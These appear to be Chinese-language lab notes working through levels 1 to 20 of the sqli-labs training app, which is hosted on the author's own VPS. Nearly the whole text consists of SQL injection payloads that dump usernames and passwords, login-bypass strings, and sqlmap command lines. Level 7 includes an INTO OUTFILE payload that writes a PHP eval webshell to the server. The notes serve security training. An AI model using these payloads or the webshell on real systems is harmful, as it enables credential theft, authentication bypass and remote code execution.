• 基础汇总-sqlilab-Less-1-20


    * sqlmap扫描的时候会将缓存的数据记录到output文件下,下次扫描时会直接调用本地缓存的扫描结果。如果我们想删除缓存结果,重新对某网站进行扫描就需要添加--flush-session选项

    * 关于sqlilab的所有题目,其中?id=1 这个数字1可以随意变化,可以是负数,可以是目标不存在的数字等,本例中一般使用?id=-1,sqlmap注入的时候就?id=1

    * 演示的靶机是自己购买的VPS搭建,做了白名单限制!!!

    Less-1 基于GET的显错字符型注入

    手动注入

    联合查询注入
    ?id=-1'+UNION+SELECT+1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+

    报错注入1 --- 需要手动修改limit+0,1 进行结果偏移
    ?id=1'+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(username,password)+AS+CHAR),0x7e))+FROM+users+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)--+

    报错注入2 --- 需要手动修改limit+0,1 进行结果偏移
    ?id=1'+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(username,password)+AS+CHAR),0x7e))+FROM+users+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)--+

    布尔盲注 --- 数据库第一个字母是s
    ?id=1' and left(database(),1)>'r'--+
    ?id=1' and left(database(),1)>'s'--+

    时间延时注入 --- 数据库第一个字母ascii码是115 就是s
    ?id=1' and if(ascii(substr(database(),1,1))>114,1,sleep(5))--+
    ?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+

    sqlmap注入

    联合查询注入
    python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=U -v 3

    报错注入
    python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=E -v 3

    布尔盲注
    python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=B -v 3

    时间延时盲注
    python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=T -v 3

    参考:https://www.cnblogs.com/autopwn/p/13410694.html --- 手工联合查询注入

    Less-2 基于GET的显错数字型注入
    这里跟Less-1注入方式一样,只需要去掉单引号即可

    手工联合查询注入

    爆库
    ?id=-1 union SELECT * FROM users WHERE id='-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+

    爆表
    ?id=-1 union SELECT * FROM users WHERE id='-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

    爆users表中的字段
    ?id=-1 union SELECT * FROM users WHERE id='-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

    爆数据
    ?id=-1 union SELECT * FROM users WHERE id='-1'union select 1,username,password from users where id=5--+

    ----------------------------------------------------------------------------------------------------------------------------

    手工报错注入
    爆表
    ?id=-1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

    爆字段
    ?id=-1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

    爆表中的数据
    ?id=-1 and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+
    或者
    ?id=-1 and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+

    sqlmap注入

    联合查询注入
    python sqlmap.py -u http://106.54.35.126/Less-2/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=U -v 3

    报错注入
    python sqlmap.py -u http://106.54.35.126/Less-2/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=E -v 3

    布尔盲注
    python sqlmap.py -u http://106.54.35.126/Less-2/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=B -v 3

    时间延时盲注
    python sqlmap.py -u http://106.54.35.126/Less-2/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=T -v 3


    Less-3 基于GET的显错单引号变形字符串注入
    这里跟Less-1注入方式一样,不过就是在加个单引号的同时再加个) 进行注入

    手工联合查询注入

    爆库
    ?id=-1') union SELECT * FROM users WHERE id='-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+

    爆表
    ?id=-1') union SELECT * FROM users WHERE id='-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

    爆users表中的字段
    ?id=-1') union SELECT * FROM users WHERE id='-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

    爆数据
    ?id=-1') union SELECT * FROM users WHERE id='-1'union select 1,username,password from users where id=5--+

    ----------------------------------------------------------------------------------------------------------------------------

    手工报错注入
    爆表
    ?id=-1') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

    爆字段
    ?id=-1') and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

    爆表中的数据
    ?id=-1') and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+
    或者
    ?id=-1') and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+

    sqlmap注入

    联合查询注入
    python sqlmap.py -u http://106.54.35.126/Less-3/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=U -v 3

    报错注入
    python sqlmap.py -u http://106.54.35.126/Less-3/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=E -v 3

    布尔盲注
    python sqlmap.py -u http://106.54.35.126/Less-3/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=B -v 3

    时间延时盲注
    python sqlmap.py -u http://106.54.35.126/Less-3/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=T -v 3


    Less-4 基于GET的显错单引号变形字符串注入
    这里跟Less-3注入方式一样,不过就是将单引号改成双引号

    手工联合查询注入

    爆库
    ?id=-1") union SELECT * FROM users WHERE id='-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+

    爆表
    ?id=-1") union SELECT * FROM users WHERE id='-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

    爆users表中的字段
    ?id=-1") union SELECT * FROM users WHERE id='-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

    爆数据
    ?id=-1") union SELECT * FROM users WHERE id='-1'union select 1,username,password from users where id=5--+

    ----------------------------------------------------------------------------------------------------------------------------

    手工报错注入
    爆表
    ?id=-1") and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

    爆字段
    ?id=-1") and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

    爆表中的数据
    ?id=-1") and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+
    或者
    ?id=-1") and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+

    sqlmap注入

    联合查询注入
    python sqlmap.py -u http://106.54.35.126/Less-4/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=U -v 3

    报错注入
    python sqlmap.py -u http://106.54.35.126/Less-4/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=E -v 3

    布尔盲注
    python sqlmap.py -u http://106.54.35.126/Less-4/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=B -v 3

    时间延时盲注
    python sqlmap.py -u http://106.54.35.126/Less-4/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=T -v 3


    Less-5 基于GET的单引号字符串注入-(双注入,不回显查询结果)
    这里跟Less-1注入方式一样,但是做了调整为不显示查询的结果,所以这里是不能使用联合查询的注入方式进行注入

    手工延时注入

    爆库
    ?id=1' and if(length(database())=8,sleep(5),1)--+ 如果是延时查询了,说明当前当前查询的sql语句被正常执行,数据库存在8个字符
    ?id=1' and if(left(database(),1)='s',sleep(5),1)--+
    ?id=1' and if(left(database(),2)='se',sleep(5),1)--+
    ?id=1' and if(left(database(),3)='sec',sleep(5),1)--+
    ?id=1' and if(left(database(),4)='secu',sleep(5),1)--+
    ?id=1' and if(left(database(),5)='secur',sleep(5),1)--+
    ?id=1' and if(left(database(),6)='securi',sleep(5),1)--+
    ?id=1' and if(left(database(),7)='securit',sleep(5),1)--+
    ?id=1' and if(left(database(),8)='security',sleep(5),1)--+
    上述依次执行查询都会延时说明是正常执行,存在数据库security

    爆表
    ?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+

    爆字段
    ?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+ 这里执行有点问题,待查找

    爆表中的数据
    ?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+

    --------------------------------------------------------------------------------------------------------------------------

    手工报错注入
    爆表
    ?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

    爆字段
    ?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

    爆表中的数据
    ?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+
    或者
    ?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+

    看到网上一篇文章双查询注入
    http://www.2cto.com/article/201303/192718.html

    爆库
    ?id=-1' union select count(*),count(*), concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
    或者
    ?id=1' union select count(*),1, concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

    爆用户
    ?id=1' union select count(*),1, concat('~',(select user()),'~', floor(rand()*2)) as a from information_schema.tables group by a--+

    爆表名
    ?id=-1' union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

    爆字段
    ?id=-1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

    爆字段信息
    ?id=-1' union select count(*),1, concat('~',(select concat_ws('[',password,username) from users limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+


    sqlmap注入

    联合查询注入
    不能注入

    报错注入
    python sqlmap.py -u http://106.54.35.126/Less-5/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=E -v 3

    布尔盲注
    python sqlmap.py -u http://106.54.35.126/Less-5/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=B -v 3

    时间延时盲注
    python sqlmap.py -u http://106.54.35.126/Less-5/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=T -v 3

    =================================================================================================================================

    Less-6 基于GET的单引号字符串注入-(双注入,不回显查询结果)
    跟Less-5注入方式一样,只是这里是由上题的单引号变成了双引号,其他的都一样做了调整为不显示查询的结果,所以这里是不能使用联合查询的注入方式进行注入

    =================================================================================================================================

    Less-7 导出文件的形式基于GET的字符型注入
    仅支持布尔型盲注和时间延时型盲注

    布尔盲注
    python sqlmap.py -u http://106.54.35.126/Less-7/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=B -v 3

    时间延时盲注
    python sqlmap.py -u http://106.54.35.126/Less-7/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=T -v 3

    手工写入一句话,写文件,我这里的靶机是docker搭建的,默认权限是755,由于通过注入的方式写入文件,权限是mysql用户写文件,所以进入docker使用chmod -R /var/www/html/ 给其所有权限,如果还是不行就在配置文件中添加secure-file-priv

    http://106.54.35.126/Less-7?id=1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "/var/www/html/Less-7/bmfx.php"--+

    http://106.54.35.126/Less-7?id=1'))+UNION+SELECT 1,2,"<?php phpinfo();?>" INTO OUTFILE "/var/www/html/Less-7/info.php"--+

    Less-8 布尔型单引号基于GET的字符型注入
    仅支持布尔型盲注和时间延时型盲注 ,这里跟Less-7一样,只是变成了单引号进行注入

    布尔盲注
    python sqlmap.py -u http://106.54.35.126/Less-8/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=B -v 3

    时间延时盲注
    python sqlmap.py -u http://106.54.35.126/Less-8/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=T -v 3


    =================================================================================================================================

    Less-9 基于时间延时的单引号GET请求盲注

    仅时间延时型盲注,跟Less-1是一样的,只是拼接的方式不一样,不管怎么输入都是显示You are in....... 所以只能时间型盲注 输入' or 1=1--+进行注入

    手工延时注入

    爆库
    ?id=1' and if(length(database())=8 , sleep(3), 1) --+ 这里的数字8从1试到8 发现执行到8的时候明显演示,那么可以确认目标靶机数据库是8个字符
    ?id=1' and if(left(database(),1)='s' , sleep(3), 1) --+ 然后这里就开始猜测每个字母,看是否是在执行的时候延时 可以猜出最终库名security

    爆表
    ?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' , sleep(3), 1) --+ 慢慢猜一个一个字母猜,记得修改limit的位置数字和要被猜测的字母

    爆字段
    ?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 9,1),8)='username', sleep(3), 1) --+ 慢慢修改limit和要猜测的值

    爆值
    ?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' , sleep(3), 1) --+ 慢慢修改limit和要猜测的

    时间延时盲注
    python sqlmap.py -u http://106.54.35.126/Less-9/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=T -v 3


    =================================================================================================================================

    Less-10 基于错误型POST请求单引号字符注入

    仅时间延时型盲注,跟Less-9是一模一样的,只是拼接的方式不一样,不管怎么输入都是显示You are in....... 所以只能时间型盲注 输入" or 1=1--+进行注入

    时间延时盲注
    python sqlmap.py -u http://106.54.35.126/Less-10/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=T -v 3

    =================================================================================================================================

    Less-11 基于错误POST请求单引号字符型注入

    这里是POST请求的注入,也是经典的万能密码注入点,具体看看下面的注入方式

    通过注释密码进行成功注入登陆 mysql注释的两种方式 --+或者# --这个后面有时候也可以是空格,推荐使用+,稳定靠谱
    uname=admin'--+&passwd=bmfx&submit=Submit (注入这里必须用户名是admin,密码不写或者随便输入都可以)
    uname=admin'#&passwd=bmfx&submit=Submit (注入这里必须用户名是admin,密码不写或者随便输入都可以)

    通过构造查询语句永恒为真进行注入登陆
    uname=bmfx&passwd=shit' or 998--+&submit=Submit (注入这里用户名和密码随便输入都可以,前提是构造永恒条件然后注释后面的语句段)
    uname=bmfx&passwd=shit' || 998--+&submit=Submit (注入这里用户名和密码随便输入都可以,前提是构造永恒条件然后注释后面的语句段)
    uname=bmfx&passwd=shit' or 998#&submit=Submit (注入这里用户名和密码随便输入都可以,前提是构造永恒条件然后注释后面的语句段)
    uname=bmfx&passwd=shit' || 998#&submit=Submit (注入这里用户名和密码随便输入都可以,前提是构造永恒条件然后注释后面的语句段)

    # 闭合后面语句 并 添加一个永真条件
    uname=bmfx&passwd=shit' or '998' = '998&submit=Submit (注入这里用户名和密码随便输入都可以,前提是构造永恒条件然后闭合后面的语句段)
    uname=bmfx&passwd=shit' || '998' = '998&submit=Submit (注入这里用户名和密码随便输入都可以,前提是构造永恒条件然后闭合后面的语句段)

    上述测试的过程中使用burpsuite测试效果非常好,使用hackbar测试有问题

    联合查询注入

    uname=admin&passwd=bmfx'union select 1,(SELECT GROUP_CONCAT(username,password) FROM users)#

    报错注入

    uname=bmfx&passwd=bmfx'AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(username,password) AS CHAR),0x7e)) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)#&submit=Submit
    或者
    uname=bmfx&passwd=bmfx' AND (SELECT 1 FROM(SELECT count(*),CONCAT((SELECT (SELECT (SELECT CONCAT(0x7e,0x27,cast(username AS CHAR),0x27,0x7e) FROM users LIMIT 3,1)) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) AND 1=1#&submit=Submit

    sqlmap注入

    POST /Less-11/ HTTP/1.1
    Host: 106.54.35.126
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    DNT: 1
    Referer: http://106.54.35.126/Less-11/
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 53

    uname=bmfx&passwd=shit&submit=Submit


    联合查询注入
    python sqlmap.py -r less11.txt --dbms=MySQL --random-agent --flush-session --technique=U -v 3 --dbs --batch

    报错注入
    python sqlmap.py -r less11.txt --dbms=MySQL --random-agent --flush-session --technique=E -v 3 --dbs --batch

    布尔盲注
    python sqlmap.py -r less11.txt --dbms=MySQL --random-agent --flush-session --technique=B -v 3 --dbs --batch

    时间延时盲注
    python sqlmap.py -r less11.txt --dbms=MySQL --random-agent --flush-session --technique=T -v 3 --dbs --batch

    这里也是可以使用--data参数
    python sqlmap.py -u http://106.54.35.126/Less-11/?id=1 --data="uname=bmfx&passwd=shit&submit=Submit" -p "uname" --dbms=MySQL --random-agent --flush-session --technique=U -v 3


    ==============================================================================================================================

    Less-12 基于错误POST请求双引号字符型注入

    这里是POST请求的注入,理论是跟Less-11是一样的,只是闭合方式是双引号,但是看实际代码发现是带有括号,而且使用注释--+和#都不行,那么这里不适用注释,只能做到前面闭合,中间查询语句,后面报错

    报错注入

    爆库
    uname=bmfx" and extractvalue(1,concat(0x7e,(select database()))) and "&passwd=bmfx&submit=Submit

    爆表
    uname=bmfx" and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and "&passwd=bmfx&submit=Submit

    爆字段
    uname=bmfx" and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) and "&passwd=bmfx&submit=Submit

    爆字段值
    uname=bmfx" and extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from users))) and "&passwd=bmfx&submit=Submit

    联合查询注入
    爆库
    uname=bmfx") union select 1,database() --+&passwd=bmfx&submit=Submit

    爆表
    uname=bmfx") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'--+&passwd=bmfx&submit=Submit

    爆users表中的字段
    uname=bmfx") union select 1,group_concat(column_name) from information_schema.columns where table_name='users'--+&passwd=bmfx&submit=Submit

    爆数据
    uname=bmfx") union select 1,(SELECT GROUP_CONCAT(username,password) FROM users) --+&passwd=bmfx&submit=Submit

    这里可以使用万能密码admin")#

    ==============================================================================================================================

    Less-13 基于POST请求单引号字符型双注入

    这里是POST请求的注入,跟Less-12一样,只是改变成了单引号,加了括号,由于这个没有回显,那么无法进行联合查询注入

    报错注入
    uname=bmfx') and extractvalue(1,concat(0x7e,(select database()))) and ('&passwd=bmfx&submit=Submit

    其他跟Less-12一样

    python sqlmap.py -r less13.txt --dbms=MySQL --random-agent --flush-session --technique=E -v 3 --dbs --batch

    ==============================================================================================================================

    Less-14 基于POST请求单引号字符型双注入

    POST请求注入,跟Less-13一样,只是拼接方式不一样,这是是改成双引号,没有加括号

    报错注入
    uname=bmfx" and extractvalue(1,concat(0x7e,(select database()))) and "&passwd=bmfx&submit=Submit

    聚合函数随机性注入
    uname=" union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a # &passwd=bmfx&submit=Submit

    =================================================================================================================================

    Less-15 基于POST请求单引号的布尔型和时间型盲注

    布尔型盲注
    uname=admin' and 998=998 --+&passwd=admin&submit=Submit 登陆成功
    uname=admin' and 998=999 --+&passwd=admin&submit=Submit 登陆失败

    时间延时盲注
    uname=admin' and sleep(8) --+&passwd=shit&submit=Submit 如果延时执行8秒,说明执行成功

    爆库
    uname=admin' and if(length(database())=8,sleep(8),1)--+&passwd=shit&submit=Submit
    uname=admin' and if(left(database(),1)='s',sleep(8),1)--+&passwd=shit&submit=Submit
    上面慢慢的猜测数据库security

    爆表
    uname=admin' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(8),1)--+&passwd=shit&submit=Submit

    爆字段
    uname=admin' and if(left((select column_name from information_schema.columns where table_name='users' limit 2,1),8)='password' ,sleep(8),1)--+&passwd=shit&submit=Submit

    爆字段信息
    uname=admin' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(8),1)--+&passwd=shit&submit=Submit

    sqlmap注入

    时间型盲注
    python sqlmap.py -r less15.txt --dbms=MySQL --random-agent --flush-session --technique=T -v 3 --dbs --batch

    ==============================================================================================================================

    Less-16 基于POST请求双引号的布尔型和时间型盲注

    这里和Less-15一样的,只是需要将单引号改成")即可

    布尔型盲注
    uname=admin") and 998=998 --+&passwd=admin&submit=Submit 登陆成功
    uname=admin") and 998=999 --+&passwd=admin&submit=Submit 登陆失败

    时间延时盲注
    uname=admin") and sleep(8) --+&passwd=shit&submit=Submit 如果延时执行8秒,说明执行成功

    sqlmap注入

    时间型盲注
    python sqlmap.py -r less16.txt --dbms=MySQL --random-agent --flush-session --technique=T -v 3 --level=3 --risk=3 --dbs --batch
    这里sqlmap注入测试发现是需要加入level和risk,不然注入不出来

    万能密码
    admin")#


    ==============================================================================================================================

    Less-17 基于POST请求显错更新查询注入

    此关卡对uname进行了过滤,但是没有对password进行过滤,具体过滤函数如下:

    截取15个字符
    get_magic_quotes_gpc()
    当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1
    当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0
    magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据
    在magic_quotes_gpc = On的情况下,如果输入的数据有
    单引号(')引号(")、反斜线()与 NULL(NULL)等字符都会被加上反斜线。
    stripslashes()删除由 addslashes() 函数添加的反斜杠
    ctype_digit()判断是不是数字,是数字就返回true,否则返回false
    mysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。
    intval() 整型转换

    报错注入,直接得出账户和密码
    uname=admin&passwd=998' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(username,password) AS CHAR),0x7e)) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)#&submit=Submit

    报错注入,有关于使用updatexml()它和extractvaule()这两个的注入尽量使用这两个,因为速度快

    爆版本
    uname=admin&passwd=shit' and updatexml(1,concat(0x7e,(select version()),0x7e),1) --+ &submit=Submit

    爆库
    uname=admin&passwd=shit' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+ &submit=Submit

    爆表名
    uname=admin&passwd=shit' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e),1) --+&submit=Submit

    爆字段
    uname=admin&passwd=shit' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','user','first_name','last_name','avatar','last_login','failed_login')),0x7e),1) --+ &submit=Submit

    爆用户名
    uname=admin&passwd=shit' and updatexml(1,concat(0x7e,(select password from (select password from users where username='admin') mingzi ),0x7e),1) --+&submit=Submit

    爆密码
    uname=admin&passwd=shit' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) --+ &submit=Submit

    uname=admin&passwd=shit' and updatexml(1,concat(0x7e,(select password from (select password from users limit 7,1) test ),0x7e),1) --+&submit=Submit

    sqlmap注入

    报错注入
    python sqlmap.py -r less17.txt --dbms=MySQL --random-agent --flush-session --technique=E -v 3 --dbs --batch

    布尔盲注
    python sqlmap.py -r less17.txt --dbms=MySQL --random-agent --flush-session --technique=B -v 3 --dbs --batch

    时间型盲注
    python sqlmap.py -r less17.txt --dbms=MySQL --random-agent --flush-session --technique=T -v 3 --dbs --batch

    ==============================================================================================================================

    Less-18 基于错误的用户代理头部注入

    $_SERVER['HTTP_CLIENT_IP'] 这个很少使用,不一定服务器都实现了。客户端可以伪造。

    $_SERVER['HTTP_X_FORWARDED_FOR'],客户端可以伪造。

    $_SERVER['REMOTE_ADDR'],客户端不能伪造。

    所以这里的 IP 是无法被伪造的,这里只能通过修改User-Agent来进行注入

    爆库
    'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

    这里的手工注入和Less-12里面的手工注入语句一样

    sqlmap注入

    报错注入
    python sqlmap.py -r less18.txt --dbms=MySQL --random-agent --flush-session --technique=E -v 3 --level=3 --risk=3 --dbs --batch

    布尔盲注
    python sqlmap.py -r less18.txt --dbms=MySQL --random-agent --flush-session --technique=B -v 3 --level=3 --risk=3 --dbs --batch

    时间型盲注
    python sqlmap.py -r less18.txt --dbms=MySQL --random-agent --flush-session --technique=T -v 3 --level=3 --risk=3 --dbs --batch

    ==============================================================================================================================

    Less-19 基于错误的头部Refer注入

    这里的手工注入和Less-12里面的手工注入语句一样,只不过这里是考察同refer进行注入

    爆库
    'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

    爆版本
    'and extractvalue(1,concat(0x7e,(select version()),0x7e)) and '

    sqlmap注入

    报错注入
    python sqlmap.py -r less19.txt --dbms=MySQL --random-agent --flush-session --technique=E -v 3 --level=3 --risk=3 --dbs --batch

    布尔盲注
    python sqlmap.py -r less19.txt --dbms=MySQL --random-agent --flush-session --technique=B -v 3 --level=3 --risk=3 --dbs --batch

    时间型盲注
    python sqlmap.py -r less19.txt --dbms=MySQL --random-agent --flush-session --technique=T -v 3 --level=3 --risk=3 --dbs --batch


    ===============================================================================================================================

    Less-20 基于错误的Cookie头注入

    看了源码,确认是可以在cookie头进行SQL注入,通过正常访问Less-20,使用burpsuite进行抓包,获得如下信息:

    GET /Less-20/ HTTP/1.1
    Host: 106.54.35.126
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    DNT: 1
    Connection: close

    在此get请求中添加cookie头进行注入,例如:

    GET /Less-20/ HTTP/1.1
    Host: 106.54.35.126
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    DNT: 1
    Connection: close
    Cookie: uname=admin' and 998=999 union select 1,2,database()--+

    上述直接爆库

    联合查询注入

    爆库
    uname=admin' and 998=999 union select 1,2,database()--+

    爆表
    uname=admin' and 998=999 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

    爆users表中的字段
    uname=admin' and 998=999 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

    爆数据
    uname=admin' and 998=999 union select 1,2,(SELECT GROUP_CONCAT(username,password) FROM users)--+

    报错注入(extractvalue)

    爆库
    uname=admin' and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+

    爆版本
    uname=admin' and extractvalue(1,concat(0x7e,(select version()),0x7e)) --+

    爆表
    uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

    爆字段
    uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

    爆字段值
    uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from users))) --+

    报错注入(updatexml)
    爆版本
    uname=admin' and updatexml(1,concat(0x7e,(select version()),0x7e),1) --+

    爆库
    uname=admin' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

    爆表名
    uname=admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e),1) --+

    爆字段
    uname=admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','user','first_name','last_name','avatar','last_login','failed_login')),0x7e),1) --+


    sqlmap注入

    报错注入
    python sqlmap.py -u http://106.54.35.126/Less-20/ --dbms=MySQL --random-agent --flush-session --cookie="uname=admin" -p "uname" --technique=E -v 3 --level=3 --risk=3 --dbs --batch

    联合查询注入
    python sqlmap.py -u http://106.54.35.126/Less-20/ --dbms=MySQL --random-agent --flush-session --cookie="uname=admin" -p "uname" --technique=U -v 3 --level=3 --risk=3 --dbs --batch

    布尔盲注
